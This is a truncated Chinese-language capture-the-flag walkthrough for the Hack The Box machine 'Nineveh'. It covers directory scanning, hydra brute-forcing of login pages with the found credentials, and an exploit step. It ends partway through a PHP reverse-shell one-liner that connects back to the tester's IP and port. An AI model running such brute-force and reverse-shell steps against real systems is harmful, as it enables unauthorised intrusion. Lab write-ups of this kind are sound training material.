Hack the box靶机 nineveh

添加10.10.10.43 nineveh.htb 到/etc/hosts 扫描网站目录 发现一个登录页面 直接hydra爆破账号 admin：1q2w3e4r5t 继续hydra admin：password123 查看漏洞 没有返回 好像是必须在名称中包含ninevehNotes 可以了现在 nc连接 php -r ‘$sock=fsockopen(“10.10.16.118”,1234);e

>>阅读原文<<